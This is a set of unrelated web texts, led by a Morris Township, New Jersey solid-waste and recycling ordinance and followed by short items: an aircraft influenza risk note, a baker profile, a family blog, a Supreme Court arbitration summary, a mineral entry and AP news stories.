- Any building or structure, or complex of buildings, in which three or more dwelling units are owner-occupied or rented or leased, or offered for rental or lease, for residential purposes (See N.J.S.A. 13:1E-99.13a.), and shall include hotels, motels or other guesthouses serving transient or seasonal guests as those terms are defined under Subsection (j) of Section 3 of the Hotel and Multiple Dwelling Law, P.L. 1967, c. 76 (N.J.S.A. 55:13A-1 et seq.).
- The person or persons appointed by the municipal governing body to fulfill the requirements of the Morris County Solid Waste Management Plan and the New Jersey Statewide Mandatory Source Separation and Recycling Act[3] and those rules and regulations promulgated therefor.
- The person or persons named by the municipality who shall fulfill the responsibilities with respect to recycling enforcement coordination detailed in the March 2007 Morris County Solid Waste Management Plan Amendment Section 8.6. This person may be the same person designated as the Municipal Recycling Coordinator.
- All solid waste generated at residential, commercial and institutional establishments within the boundaries of the Township which is not bulky waste or construction and demolition debris.[4]
- A container constructed of such material and in such a manner as to hold solid waste and trash and other such items without breaking or collapsing. Receptacles shall have handles and covers so that the contents therein are not exposed to the weather, animals and vermin. A disposable plastic bag shall constitute a receptacle if it is of sufficient strength to hold its contents without breaking when collected. The receptacle shall be of such a design and weight as to be able to be conveniently handled by one person. No container shall exceed a weight of 50 pounds when loaded. Commercial garbage receptacles and fifty-five-gallon drums are not acceptable containers. Receptacles which, in the opinion of the Department, are badly broken or fail to meet the requirements of this article may be classified as garbage.
- All waste materials which have the ability to be returned, through processing, to their former or an alternate use, including but not limited to the following:
- All garbage and rubbish normally generated by the occupants of residential and other property, disposed of by private and/or public collection and defined as "solid waste" by the New Jersey Solid Waste Management Act (N.J.S.A. 13:1E-3). Items classified as recyclables shall be prohibited from being placed commingled with other materials.
- Recyclable materials which are separated at the point of generation by the generator thereof from solid waste for the purposes of recycling.
- The process by which recyclable materials are separated at the point of generation by the generator thereof from solid waste for the purposes of recycling.
- Any right-of-way, avenue, boulevard, road, parkway, viaduct, drive or other way which is:
- A. An existing state, county or municipal roadway; or
- B. Shown upon a plan approved by the Planning Board or Board of Adjustment and built in accordance with Township standards and which may be either public or private;
- C. Shown on a plat filed with the office of the County Clerk of the County of Morris; and
- D. Not dedicated in whole or in part as a parking area or driveway which provides access to any buildings or structures.
- The Superintendent of the Roads and Sanitation Department of the Township.
- The assistant to the Superintendent of the Roads and Sanitation Department.
- The Township of Morris.
- Any waste accumulations of grass, leaves or shrubbery, cuttings or clippings, tree branches or tree limbs, parts of trees, bushes or shrubbery or other material usually created as refuse in the case of yard maintenance. Yard waste shall be free of dirt, rocks and other bulky and noncombustible materials and shall be separated for purposes of collection into grass clippings and leaves and other materials.[5]
Editor's Note: See N.J.S.A. 13:1E-99.11 et seq.
Every person or persons or corporation who shall transport any of the above through or along any street in said Township shall use a vehicle properly constructed and furnished with a sufficient covering so as to prevent the escape of the contents thereof.
No such vehicles shall stand in the streets or other public places at any time except when being loaded.
[Amended 4-16-2008 by Ord. No. 9-08]
All solid waste haulers servicing residential, commercial and/or institutional premises located within the boundaries of the Township shall be required to complete and submit tonnage reports of solid waste types collected within such boundaries, excluding recyclables, on a quarterly basis to the Department of Roads and Sanitation.
Collection sectors, together with the dates of collection, shall be established by regulation of the Roads and Sanitation Department. In the event of emergent situations and inclement weather, such as ice and snow storms, high winds and/or heavy rains, the Department may suspend, restrict or otherwise modify the provisions of this article. Should any of the above situations occur, collection for the service which was suspended will resume on the next regularly scheduled collection day.
The following shall constitute holidays on which collections will not be made:
New Year's Day
Memorial Day
Independence Day
Labor Day
Thanksgiving Day
Christmas Day
With the exception of qualified private communities as defined in N.J.S.A. 40:67-23.2, which have entered into a separate agreement with the Township of Morris, property owners and their agents, lessees, tenants or other occupants who wish to have their solid waste disposed of by the Township shall place solid waste from their unit in appropriate containers, receptacles and/or bundles as specified at the street curb if one exists or adjacent to but not on the street pavement if there is no curb. The number of containers shall not exceed six per dwelling on a single collection day; however, such limitations on the number of containers per collection day shall not apply to private, elementary and secondary schools. If residents plan to exceed six items or put out items that are over four feet in length or weigh over 50 pounds, they must call the Roads and Sanitation Department between the hours of 7:00 a.m. and 3:30 p.m. at least one working day prior to their published collection day. They must describe the number of items placed out for collection, their volume and provide their address. The Roads and Sanitation Department shall reserve the right of decision in determining the maximum capacity per truck and therefore the right to limit the number of special collections according to volume per route.
[Amended 11-9-1988 by Ord. No. 31-1988; 12-2-1992 by Ord. No. 29-92]
Receptacles shall be placed as specified above beginning at dusk of the night preceding the scheduled collection day. All containers with solid waste shall be placed by 6:00 a.m. of the collection day, and those placed after said hour may not be collected if said collection activity has already taken place. Solid waste receptacles shall be removed from the curb or pavement edge by 6:00 p.m. of the evening of the collection day.
Properties shall be permitted to place solid waste for collection pursuant to this article and regulations issued by the Roads and Sanitation Department. Said regulations shall, as a minimum, state the type and number of receptacles and shall provide for regular, special and unlimited pickup, subject to limitations of the municipal budget of the Township of Morris.
The Department may, provided that sufficient capacity of the routes remain, permit additional receptacles to be placed, provided that special prior arrangements have been made with the Department.
No collection of solid waste shall be accomplished on property outside of the dedicated public rights-of-way unless and until a release and a hold harmless and indemnification agreement between the property owner of record and the Township of Morris shall be executed and in force. The owner of record shall also execute a license to the Township to permit access to the premises in question. Further, these premises shall only be served after the Roads and Sanitation Department has deemed the roadway navigable and offers maneuverability to municipal equipment. It shall be the responsibility of the property owners and their agents, lessees, tenants or other occupants residing at said premises to maintain the roadway and vegetative overgrowth. Failure to meet these requirements will result in loss of services until such time that they are met as determined by the Roads and Sanitation Department.
Residential and nonresidential institutions will be served in accordance with the provisions of Subsections A and B of this section, provided that institutional driveways are navigable and offer maneuverability to Township collection vehicles. No provisions are made for the collection of waste materials such as tires, waste oil and red bag (medical waste) or any other waste not collected from a private household.
[Amended 12-2-1992 by Ord. No. 29-92]
Solid waste disposal service shall not be provided to any federal, state, county or municipal government properties other than properties of the Township of Morris, or to multiple-dwelling complexes, except a qualified private community as defined in N.J.S.A. 40:67-23.2, or to medical facilities or offices, except offices located in a residential structure which qualifies under § 95-37C of the Morris Township Code.
The following items are prohibited from being placed for collection:
Construction materials, including but not limited to bulk roof shingles, dimensional framing lumber, bulk or sheets of plywood, paneling, plasterboard, sheetrock, etc.
Bulk grass cuttings and tree trimmings, except that these items may be collected if placed in reusable receptacles in the same manner as required for the collection of solid waste.
Hot ashes, dirt, earth, stone, blacktop, concrete, concrete block and macadam.
Industrial waste, including but not limited to processed scrap materials, packing materials and certain hazardous and dangerous materials, such as acids, paints, fluorescent tubes, bulk amounts of glass, toxic materials and highly volatile or explosive matter, either in liquid, gaseous or solid form.
Bulk automotive parts, including but not limited to transmissions, engines, rear ends, wheels, mufflers and other bulk items normally produced in quantity by vehicular repair operations.
Dead animals, animal waste and animal droppings.
Surgical dressings, syringes and disposable hospital-type waste items, also known as "red bag waste."
New and used motor oils, petroleum-based products or antifreeze.
Hazardous waste classified pursuant to regulations issued by the New Jersey Department of Environmental Protection (NJDEP), adopted under authority of N.J.S.A. 13:1D-9 and 13:1E-6, as amended. Toxic chemicals commonly known as "commercial hazardous waste" and "household hazardous waste" would be excluded.
Domestic or household bulky items, such as washing machines, dryers, refrigerators, stoves, household appliances and other household furnishings, such as chairs, sofas, rugs, padding, etc., shall not be placed at the curb for collection unless special arrangements have first been made, meeting the published collection schedule of the Department of Roads and Sanitation. No bulky item shall be of a weight or be of a size greater than can be conveniently handled by two persons.
It shall be a violation of this article for any individual, association, partnership or corporation to leave outside of any building or dwelling, in a place accessible to children, any abandoned, unattended or discarded icebox, refrigerator, freezer or dishwasher or any other item of any kind which has an airtight door, with or without lock, without first removing said airtight door.
It shall be a violation of this article for any individual, association, partnership or corporation to conduct a repair or salvage operation and use the services of the Township for solid waste collection.
[Amended 4-16-2008 by Ord. No. 9-08]
Provided that special arrangements have first been made with the Roads and Sanitation Department, branches, bulky tree limbs and trunks six inches in diameter or less will be collected throughout the year if deposited at the street curb, if one exists, but not on the street pavement if there is no curb. Branches, bulky tree limbs and trunks as herein permitted may be placed at the curb in reasonable piles prior to the scheduled collection day. During leaf collection days, branches and leaves shall be placed in separate piles at the curb or adjacent to the street pavement if there is no curb.
[Amended 4-16-2008 by Ord. No. 9-08]
The service listed under the term "yard waste" in the annual Township calendar shall, during the months of October, November and December, consist strictly of leaf collection. During this time, leaves may be placed in neat piles at the curb or pavement edge for collection, provided that the piles do not constitute a traffic hazard. It shall be a violation of this article for any person, contractor, firm or company to place leaves at the curb or pavement, which leaves are not naturally occurring in the Township. Residents placing leaves for collection after the special leaf collection in October, November and December shall be required to contain the leaves in reusable receptacles for their next regularly scheduled yard waste collection.
[Amended 4-16-2008 by Ord. No. 9-08]
Residents shall be required to contain grass clippings in reusable receptacles and place said receptacles at the curb or pavement edge separate from garbage or refuse for collection in accordance with the scheduling outlined in the Township calendar under yard waste services for their sector. Any grass clippings placed at the curb or pavement edge during the months of leaf collection shall not be contained but be commingled with leaves placed for collection. It shall be a violation of this article for any person, firm, contractor or company to place grass clippings at the curb or pavement edge, which clippings are not naturally occurring in the Township.
Property owners of record shall be responsible for the placement of materials for collection as specified herein. The Township Committee shall be empowered to fix fees by regulation for the removal of materials not placed in accordance with the terms of this article, which shall be the responsibility of the property owner of record.
[Amended 4-16-2008 by Ord. No. 9-08]
Property owners, and their agents, guests, lessees, tenants, employees, contractors and occupants, who place materials not in accordance with this article shall hold harmless and indemnify from any and all losses the Township, its agents and employees from all costs, losses and damages, direct and indirect, which are attributable, in the sole determination of the Township, to materials placed for collection in violation of the terms of this article.
A schedule of fees shall be established by the Township Committee for services provided under § 427-8. The approved fees may be charged for household containers and/or containerized receptacles, including but not limited to normal service and recollection, if collection activities are unable to be performed due to violation of this article.
Fees not paid within 30 days of assessment by the Department shall constitute a lien against the property which shall be collected via an action of law, and services shall cease until full restitution has occurred.
This article shall be enforced in Municipal Court upon a complaint signed by a member of the Board of Health, the Roads and Sanitation Department or the Police Department of the Township of Morris. Further, once a complaint has been signed and issued, the responsibility for disposal of solid waste shall lie with the violator and/or shall be processed as a lien against the property and in accordance with law.
The Roads and Sanitation Department may issue regulations exempting from total or partial compliance those residential properties whose sole occupant or occupants are unable to meet the requirements of this article by reason of a physical disability.
The Roads and Sanitation Department shall forthwith transmit all solid waste collected pursuant to this article to lawfully licensed facilities designated by the County of Morris in the Morris County Solid Waste Plan and/or the State of New Jersey. If permitted by said solid waste plan and if said users and markets exist on a positive cost-benefit-ratio basis to the municipality, then the Township may elect to dispose of said solid waste or a portion thereof in an alternative manner pursuant to statute and regulation.
The Township of Morris shall assume ownership of items or materials classified as recyclable upon collection by the Township or upon delivery to a municipal dropoff center specified herein.
[Amended 8-17-1994 by Ord. No. 15-94]
The Township Committee shall appoint a Solid Waste and Recycling Coordinator and a deputy selected from the Roads and Sanitation Department supervisory personnel required to act as liaison with Morris County and New Jersey State solid waste officials, keep records and perform the annual tonnage grant application process. The Coordinator shall also prepare a plan with respect to the collection and handling of mandated recyclable material and update said plan from time to time as may be required by regulation.
[Amended 4-16-2008 by Ord. No. 9-08]
Upon classification of an item or material presently or prospectively a part of the commingled solid waste flow as recyclable, residential and other property owners, except for the United States government and the State of New Jersey, shall cause themselves or their agents, lessees, tenants or their occupants to separate said item or materials separately for collection, whether said collection is performed by a municipal agency or private contractor.
On and after the date fixed in the regulations and in accordance with the terms thereof, it shall be mandatory for all persons who are owners, lessors, renters or occupants of residential dwellings and commercial, industrial and institutional properties in the Township of Morris to separate recyclable materials from all other solid waste generated. Commercial, industrial and institutional properties that are not serviced by the Township shall be required to negotiate with their private hauler/contractor in accordance with the provisions of the Morris County District Recycling Plan.
At the present time, the waste materials to be recycled by New Jersey state mandate and designated as recyclable by the Township of Morris are:
Aluminum cans.
Cardboard/corrugated paper.
Glass food and beverage jars.
High-grade and mixed paper: computer, office paper and stationery/envelopes.
Newspapers and magazines.
Steel cans and bimetal containers.
Waste oil.
Yard waste: leaves, grass clippings, branches and vegetative waste.
Plastic bottles (No. 1 PETE and No. 2 HDPE).
Tires, vehicular batteries.
Oil-contaminated soil (nonhazardous, Type 27).
Stumps and logs.
Dry-cell batteries.
White goods (appliances, CFCs to be recovered where applicable).
Acceptance of county goal. As set forth in N.J.S.A. 13:1E-99.13b(4)(c), the Township of Morris accepts the goal of 50% recycling of municipal solid waste by 2015 and shall monitor its level of recycling and solid waste disposal and shall strive to achieve the recycling of 50% of the municipal solid waste generated within its borders.
The Roads and Sanitation Department shall, by regulation, designate a municipal dropoff center. Said center shall accept, as a minimum, used motor oils, as well as any items classified as recyclable by regulation of the Roads and Sanitation Department.
Materials classified as recyclable shall only be disposed of by:
Placing them for collection by the municipality pursuant to the terms of this article and regulations issued by the Roads and Sanitation Department in accordance with the provisions set forth in the Morris Township municipal calendar.
Disposing of, giving, donating or selling them or permitting them to be collected by any person, partnership or corporation, whether operating for profit or not, provided that the material shall:
Be recycled.
Be collected from a point other than the curbside in districts with municipal collection of recyclable items or materials or at a municipal dropoff center, except with the permission of the Township of Morris.
Be reported to the municipality by both the generator and the receiver of the recyclable items or materials in accordance with regulations of the Roads and Sanitation Department.
Recycling documentation in the form of weight slips or a signed business form letter shall be required from all those who market, collect, haul and/or generate recyclable materials, whether they are residential, commercial and/or institutional premises located within the boundaries of the Township of Morris, as required by the Morris County District Recycling Plan. These records and reports shall be submitted to the Morris Township Recycling Coordinator on a quarterly basis, specifically not later than close of business January 1, April 1, July 1 and October 1 of a given year and beginning as of the effective date of this article.
Used tires. Depending upon the availability of markets or other disposal means for used tires, the Department may, at its discretion, provide for the disposal of used tires by the residents. The fee for the disposal of used tires without rims is $4, and the disposal method shall be established by regulation of the Department.[1]
Prohibition of collection of solid waste mixed with recyclable materials.
[Added 4-16-2008 by Ord. No. 9-08]
It shall be unlawful for solid waste collectors to collect solid waste that is mixed with, or contains visible signs of, designated recyclable materials. It is also unlawful for solid waste collectors to remove for disposal those bags or containers of solid waste which visibly display a warning notice sticker or some other device indicating that the load of solid waste contains designated recyclable materials. (Note: County Plan Update reference for this subsection: Section 8.9.b.)
It shall be the responsibility of the resident or occupant to properly segregate the uncollected solid waste for proper disposal or recycling. Allowing such unseparated solid waste and recyclables to accumulate will be considered a violation of this article and the local sanitary code. (Note: There is no County Plan Update reference.)
Once placed in the location identified by this article, or any rules or regulations promulgated pursuant to this article, no person, other than those authorized by the municipality, shall tamper with, collect, remove or otherwise handle designated recyclable materials.
[Amended 4-16-2008 by Ord. No. 9-08[1]]
The Superintendent of the Department of Roads and Sanitation is hereby authorized and directed to promulgate such reasonable regulations as to the manner, days, times, fees, etc., for the collection of solid waste in accordance with the terms hereof and shall forward such regulations to the Township Committee for adoption by resolution. Such regulations may be amended from time to time as needed to encourage the operation of the collection program.
Each such collection in violation of this article and each day a violation or neglect is committed or permitted to continue shall constitute a separate offense and be punishable as such.
Any person, firm or corporation who violates or neglects to comply with any provision of this article or any rule, regulation or directive promulgated pursuant thereto shall be punishable, upon conviction thereof, by a fine not less than $25 and not more than $1,000 or by up to 90 days in jail, or both. If permitted by general law, a convicted person may be ordered to perform community service.
[Amended 8-17-1994 by Ord. No. 15-94]
The Code Enforcement Official, the Department of Health, the Recycling Coordinator, the Property Maintenance Official and the Morris County Office of Health Management are hereby individually and severally empowered to enforce the provisions of this article. An inspection may consist of sorting through containers and opening of solid waste bags to detect, by sound or sight, the presence of any recyclable material.
[Added 4-16-2008 by Ord. No. 9-08[1]]
[Added 4-16-2008 by Ord. No. 9-08]
All nonresidential generators, including commercial, industrial and institutional establishments, of solid waste shall be required to comply with the provisions of this article.
The arrangement for collection of designated recyclables hereunder shall be the responsibility of the commercial, institutional or industrial property owner, or its designee, unless the municipality provides for the collection of designated recyclable materials. All commercial, institutional or industrial properties which provide outdoor litter receptacles and disposal service for their contents shall also provide receptacles for designated recyclable materials, for those materials commonly deposited, in the location of the litter receptacle, and shall provide for separate recycling service for their contents.
All nonresidential facilities shall report on an annual basis to the Municipal Recycling Coordinator, on such forms as may be prescribed, on recycling activities at their premises, including the amount of recycled material, by material type, collected and recycled and the vendor or vendors providing recycling service.
All food service establishments, as defined in the Health Code, shall, in addition to compliance with all other recycling requirements, be required to recycle grease and/or cooking oil created in the processing of food or food products and maintain such records as may be prescribed for inspection by any code enforcement officer.
[Added 4-16-2008 by Ord. No. 9-08]
Any application to the Planning Board of the Township of Morris for subdivision or site plan approval for the construction of multifamily dwellings of three or more units, single-family developments of 50 or more units or any commercial, institutional or industrial development for the utilization of 1,000 square feet or more of land must include a recycling plan. This plan must contain, at a minimum, the following:
A detailed analysis of the expected composition and amounts of solid waste and recyclables generated at the proposed development; and
Locations documented on the application's site plan that provide for convenient recycling opportunities for all owners, tenants and occupants. The recycling area shall be of sufficient size, in a convenient location and shall contain other attributes (signage, lighting, fencing, etc.) as may be determined by the Municipal Recycling Coordinator.
Prior to the issuance of a certificate of occupancy by the Township of Morris, the owner of any new multifamily housing or commercial, institutional or industrial development must supply a copy of a duly executed contract with a hauling company for the purposes of collection and recycling of source-separated recyclable materials in those instances where the municipality does not otherwise provide this service.
Provisions shall be made for the indoor, or enclosed outdoor, storage and pickup of solid waste, to be approved by the Municipal Engineer.


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Risk assessment guidelines for infectious diseases transmitted on aircraft (RAGIDA): Influenza
This report which is part of the RAGIDA project (Risk Assessment Guidance for Infectious Diseases transmitted on Aircraft) provides viable options for decision-makers when faced with the choice of whether to contact trace air travellers and crew that were potentially exposed to infectious diseases during a flight.
- Avian influenza virus
- Infectious diseases on aircrafts
- Influenza
- Influenza A (H1N1)2009
- Influenza A(H5N1) virus
- Influenza A(H5N2) virus
- Influenza A(H5N8) virus
- Influenza A(H7N9) virus
- Influenza in humans, avian origin
- Influenza in humans, pandemic
- Influenza in humans, seasonal
- Influenza in humans, swine origin
- Risk assessment guidelines for infectious diseases transmitted on aircraft (RAGIDA)
- Travellers' health
Travellers' health and infectious diseases on aircraft
As increasing numbers of people travel by air, the potential risk of introduction and spread of infectious diseases by travellers is on the rise. Figures from Eurostat reveal that around 900 million passengers annually are carried on flights within the European Union (EU) alone.


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OCCUPATION: Head baker and founder of Clara's Cakes, curator, high school student
LOCATION: Atwater Village
WHAT'S YOUR HUSTLE: I bake happiness into people's lives. The remainder consists of homeschooling, refreshing my instagram, and figuring out how I'm going to make ideas of mine come to life.
WHAT DOES YOUR HUSTLE MEAN TO YOU: Not working for the man, but being the man, in my own world. Baking is something that I taught myself from "scratch" and it's become the best job imaginable right now. If you're working and every once in a while feel really stoked to be doing exactly what you're doing, then I think you've got the right hustle going. What I've noticed about myself is that I love creating things, whether it's a cupcake or art show, because there was no complete product to begin with so it's magical to observe a finished result that originally was just a spark in my mind.
IF YOU COULD HAVE ONLY THREE TOOLS FOR YOUR HUSTLE, WHAT WOULD THEY BE: My iPhone, a gift card to Surfas, and an apron.
A WORD OF ADVICE TO WANNABE HUSTLERS IN YOUR FIELD: Don't forget salt!
Visit Clara this Sunday, February 10th for her Valentine's Pop-Up Shop at Atwater Village Farm from 11am 'til 4pm. 3224 Glendale Blvd. Los Angeles, CA 90039. She'll have heart pocket pies, chocolate caliente cookie sammies and red velvet cupcakes! All vegan, all the time!


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What do we know about the new messenger thriller Premium Rush? We know it stars Joesph Gordon-Levitt as the hotshot fixed gear riding protagonist. We know it's about bike messengers in NYC and premiers August 24th. But what you might not be aware of is it was entirely shot in New York City and used a lot of real messengers as consultants, actors and stunt riders. Our own Austin Horse (who took 4th place in this years Cycle Messenger World Championships in Chicago) was Joesph's double for much of the riding in traffic and skids.
Photo By: Sarah Shatz-
Joseph Gordon-Levitt, Austin Horse and director David Koepp on the set of Columbia Pictures' Premium Rush. Read an article on the Austin working with Joesph in Momentum Magazine.
See the trailer:
Something else you may not know is the messenger bags used in this film are hand made right here in Ridgewood Queens by Tianna Meilinger and her lady co-workers Angie and Grace of Vaya Bags.
I recently got a chance to visit Tianna and her crew at the Queens shop to see the whole operation of this company who'd I'd been admiring for years.
Continue reading Premium Rush, messenger movie keeping local, Vayabags Interview.


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The 682-885 exchange is serviced by the following companies within the FORT WORTH ratecenter.
Calls are routed via OCN 9533 on a WECO 5ESS Remote (5A RSM) switch located in the Fort worth, Texas area.
No Comments Found.
If you have information about these phone numbers, please Submit your search and write a report.


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One day last week, my mom told me that a guy from the local paper was at our city park taking pictures of all the new equipment. She said he took a few pictures of Micah Claire. He told mom that her picture just might make into the the paper. We were SUPER shocked to see her on the front page the very next day. Isn't she a cutie pie!
Friday, July 31, 2009
Micah Claire's in the news!
One day last week, my mom told me that a guy from the local paper was at our city park taking pictures of all the new equipment. She said he took a few pictures of Micah Claire. He told mom that her picture just might make into the the paper. We were SUPER shocked to see her on the front page the very next day. Isn't she a cutie pie!
Posted by The Cowart Family at 8:08 AM 1 comments
Saturday, July 25, 2009
Stay off Our Blog Freaks!
A few months back I posted "It's big girl Panty time" and put a few pictures of Micah Clarie on the potty. When my mom saw them she said "Brooke, you know some perverts are gonna use that for child porn." I told her that was nuts and that only family and friends were on here. If you haven't noticed I have a tracker on the side page of our blog. Well... over the last few months I have noticed that, that specific entry has been visited over 50 times. Not only has it been visited it's been searched specifically via yahoo, google, etc.... I hate to say it but my mom may be right. So, to all my family and friends please excuse this posting
BUT to all you PERVERTS out there stay off our blog and quit viewing the precious pictures of my daughter as something that they are not! I don't not want to have to make our blog private because I know lots of people enjoy it BUT I WILL IF I HAVE to for the safety of my baby!
Posted by The Cowart Family at 8:01 AM 3 comments
Friday, July 24, 2009
Fun Friday with Papaw Barry
This morning Papaw Barry and Ms. Debbie took M.C. and me to visit their pet deer.
No visit with Papaw Barry is complete with out a funny piggy back ride!Then it was time for quick swing!
Posted by The Cowart Family at 3:11 PM 0 comments
Monday, July 20, 2009
Baby Cadie
One day last week Micah Claire and I went out to visit our friends Anthony, Shannon and Cadie Belle. Micah Claire is totally in love with Ms. Cadie. She talks about her non-stop. Big hugs for CadieI have no idea what was going on here but this picture is too funny! And even Mommy got a sweet hug!
Yesterday M.C. and I kept Cadie Belle for 6 hours. Micah Claire couldn't get enough of her. M.C. wanted to put bows in her hair, paint her toe nails, give her a bottle and even help change her diapers. She's gonna be a good big sister one day!
Posted by The Cowart Family at 4:37 PM 1 comments
Sunday, July 19, 2009
Fun with Chase!
Yesterday my friend Holly and her super cute little boy Chase invited us to hang with them on De Gray. We had a great time visiting and swimming with their entire family. Micah Claire just couldn't resist eating Chase's Fruit Loops.
Posted by The Cowart Family at 6:34 PM 2 comments
More Fun with Beaters!
Last week Micah Claire lost her Peepaw. I made a cake to take to Memaw's house and of course Micah Claire had to help me make the icing and lick the beaters. If you can't tell, she loved the chocolate icing!
Now that's some serious concentration. She licked both beaters clean!
Posted by The Cowart Family at 6:28 PM 0 comments
Friday, July 10, 2009
Micah Claire turned 22 months on the fourth of July. Yet again another month has blown by. It seems like everyday she learns 10 new words. And she's really starting to put 2 and 3 words together; it's incredible to watch her grow like this!For some reason she decided to get on the floor and pose for her 22 month pics; go figure! Not exactly sure what she was trying to do her but it was too funny not to post!
Posted by The Cowart Family at 1:51 PM 1 comments


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Transparency and Anti-Corruption Training Programme
Developing nations are faced with systemic and interconnected political, administrative, economic, and social challenges. Key issues related to those challenges include some misconceptions about transparency and accountability within their public sectors, which allows for self-perpetuating corruption.
This training programme developed by the UNITAR Hiroshima Office provides learning opportunities to selected representatives of nations under conflict by taking them to Singapore to observe various government and not-for-profit organizations that have implemented state-of-the-art transparency systems, or are involved in anti-corruption best-practice research and development. A special focus is given to the relationship between transparency and development.
Learning Objectives
By the end of the programme, participants will be able to:
- Demonstrate an understanding of the accountability framework
- Cite skills and knowledge necessary to implement greater transparency
- Outline strategies to combat anti-corruption within the public sector
- Illustrate the relationship between transparency and development
- Identify stakeholder identification and integration strategies.
The training programme is based on a blended-learning participatory approach and includes:
Interactive Lectures and Group Exercises
Interactive lectures are facilitated by key Resource Persons who examine the themes of the Workshop from a broad theoretical perspective down to case studies examining real world implementation. These presentations are augmented by small group exercises and frequent discussions from the floor, which serve to contextualise the issues being examined.
After-Action Reviews
Representing a key component of the Workshop, after-action reviews takes place within groups at the start of each morning, discussing the main issues raised in the previous presentations, as well as the specific frames of reference as applied to these by participants.
Study Tours
Underscoring the theoretical introductions and analysis presented, study tours form an integral part of the training methodologies utilised by UNITAR. Participants are able to relate to what has been seen and discussed in the training programme with actual examples of policy development and implementation.
Training the Trainer
A focus is made throughout the training sessions to relate the learning being facilitated to the realities on the ground. In addition, each participant is empowered to recreate the training upon their return to their organisation in order to achieve a self-propagating legacy of skills development.
Project Completion Reports
The UNITAR Hiroshima Training Programme on Transparency and Anti-Corruption has been successfully developed and delivered to the following entities:
Afghan Civil Service Institute (ACSI) and USAID Afghanistan
Singapore; 31-28 February 2011 – Executive Summary


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New rule for deciding validity of agreements to arbitrate arbitration
DISCLOSURE: Kevin Russell filed an amicus brief in support of the respondent in this case.
In Rent-A-Center, West, Inc. v. Jackson (No. 09-497), the Court established a new rule for determining who decides challenges to the validity of an agreement to arbitrate the validity of an arbitration agreement. The answer, the Court held, depends on what kind of challenge to the arbitration agreement is made. If the party resisting arbitration does so on grounds that go to the validity of the entire agreement, then the validity question goes to the arbitrator. But if the challenge is specific to the arbitration provision at issue in the case, then a court must decide that challenge. [Oral arguments in the case are previewed and recapped here and here.]
The question arose in this case because Rent-A-Center requires its employees to sign an arbitration agreement as a condition of their employment. The agreement has two parts. The first requires that all disputes arising out of the employment relationship be settled by arbitration. The second part requires that any challenge to the validity of the arbitration agreement also be settled by an arbitrator. In this case, the employee brought an employment discrimination claim against his employer, who insisted that the claim be resolved through arbitration, pointing to the first part. The employee then challenged the validity of the arbitration agreement, asserting it was unconscionable. Pointing to the second part of the arbitration agreement, the employer argued that the validity question also had to be submitted to arbitration. The employee countered that because his unconscionability challenge went to both parts of the arbitration agreement, a court had to decide whether the agreement to arbitrate validity was, itself, valid before enforcing it.
By a vote of five to four, in a decision by Justice Scalia that relied principally on a 1967 decision called Prima Paint Corp. v. Flood & Concklin Mfg., Co., the Court held that if the employee had raised a challenge that was specific to the second part alone "" that is, to the agreement to arbitrate validity "" then a court would have had to decide the challenge. But because the employee's grounds for unconscionability applied equally to the initial agreement to arbitrate all employment disputes, the general unconscionability question should be decided by an arbitrator.
The dissent, written by Justice Stevens, characterized today's decision as an unwarranted extension of Prima Paint, which was, in his view, likely wrong to begin with.


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Far too often when an old junkyard full of classic iron closes, decades of restorable cars and valuable parts are cashed out for whatever the per ton rate of scrap metal is at the time. Thankfully this is not one of those stories, at least not yet. Although the owners of the 50 year old salvage yard in Maxwell, NE have decided to auction their amazing inventory instead of crush it, it doesn't necessarily mean these cars have escaped the crusher.
The hundreds of potential restoration projects or parts cars seen here will go up for auction this July. As Hemmings points out, if collectors don't buy these cars, the scrappers will. Metal recyclers often clean out auctions like this with minimum bids. The thought of all of this old American iron going to waste is certainly a painful one, especially when a few of these cars look better than many New England "project cars" of the same era.
If you are in search of an old project car or a parts goldmine, Maxwell, NE is the place to be on July 17 to get a chance at these old cars. If you are thousands of miles away from Nebraska like us, at least you can enjoy these excellent pictures and keep your fingers crossed in the hope as many of these old cars are saved as possible. Anyone have a car transporter we can borrow?
[Fowlkes Auctions via Hemmings]


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Chrysotile (Silacate-Sheet Silicate)Mg6Si4O10(OH)8
Hardness: 3.0 - 5.0
Specific Gravity: 2.5 - 2.6
Characteristics: Asbestos, breathing of fibers is a possible carcinogen; usually green to white; fibrous serpentine; no cleavage and uneven fracture; greasy, waxy luster; translucent; dissolves in strong acids.
Found in serpentinites and altered ultramafic rocks.
(Primary text: Perkins, D. 2002. Mineralogy. Prentice Hall.)


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Czech FM condemns arms at Palestinian embassy
PRAGUE (AP) — The Czech Foreign Ministry has used strong words to condemn the discovery of illegal weapons at the Palestinian embassy complex where a possible booby-trapped safe killed the ambassador.
In a Monday statement, the ministry says it considers it "a serious violation of the Vienna Convention on Diplomatic Relations." It says it expects the Palestinians to "clearly and unequivocally" explain the incident.
Ambassador Jamal al-Jamal, 56, died Wednesday after an embassy safe exploded. The career diplomat had only started his posting in October.
Police say 12 unregistered weapons were found.
Deputy Palestinian Foreign Minister Taysir Jaradat denied the weapons were illegal and said they dated to the Cold War.
It remains unclear what caused the safe to explode but the ambassador's death is being investigated as a case of negligence.


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ABU DHABI, United Arab Emirates (AP) Paul McGinley appears to be the front-runner to become Europe's Ryder Cup captain for 2014 after Darren Clarke raised doubts about taking on the responsibility.
McGinley also has received the endorsement of world No. 1 Rory McIlroy
``RC captaincy should be a 1 time thing... Everybody deserving gets their chance and moves on... Would love to play under Paul McGinley in `14,'' McIlroy tweeted late Sunday.
McGinley clearly has the credentials. The 46-year-old Irishman has been on three winning Ryder Cup sides and was vice captain for Europe in 2010 and for its improbable comeback win last year.
Clarke was the favorite until last week when he raised concerns about the impact the captaincy would have on his career, which he feels is on the rebound after a difficult 2012.
Clarke and McGinley have long been the two main candidates to replace Spain's Jose Maria Olazabal, with the European Tour's tournament committee expected to vote in Abu Dhabi on Tuesday. Others mentioned in recent months have included the 1999 British Open winner Paul Lawrie as well as the 2010 Ryder Cup captain Colin Montgomerie.
Most, though, have seen it as a two-man race that appears to be becoming McGinley's to lose.
Clarke, the 2011 British Open Champion, said this week at the Volvo Champions in South Africa that he was wary of taking on the commitment necessary to be the next captain. ``I am exempt for another three years (for major events) and, if I was given the opportunity to do the captaincy, I'd effectively be throwing two of those years away.''
The Americans last month picked Tom Watson to lead its team at the 2014 Ryder Cup at Gleneagles. Watson will be 65 when the event starts, making him by far the oldest man to fill the role and the first repeat captain for the U.S. since 1987. But he's also the last American to lead the team to victory on the road in 1993, and he knows how to win in the blustery Scottish weather.
The Europeans have insisted the choice of Watson won't influence whom they pick.
``As a committee voting for a new European captain we don't have to react to Tom Watson's appointment as Europe's record in past years is pretty impressive,'' Thomas Bjorn, the longtime member of the European Tournament Players Committee, said last week in South Africa.
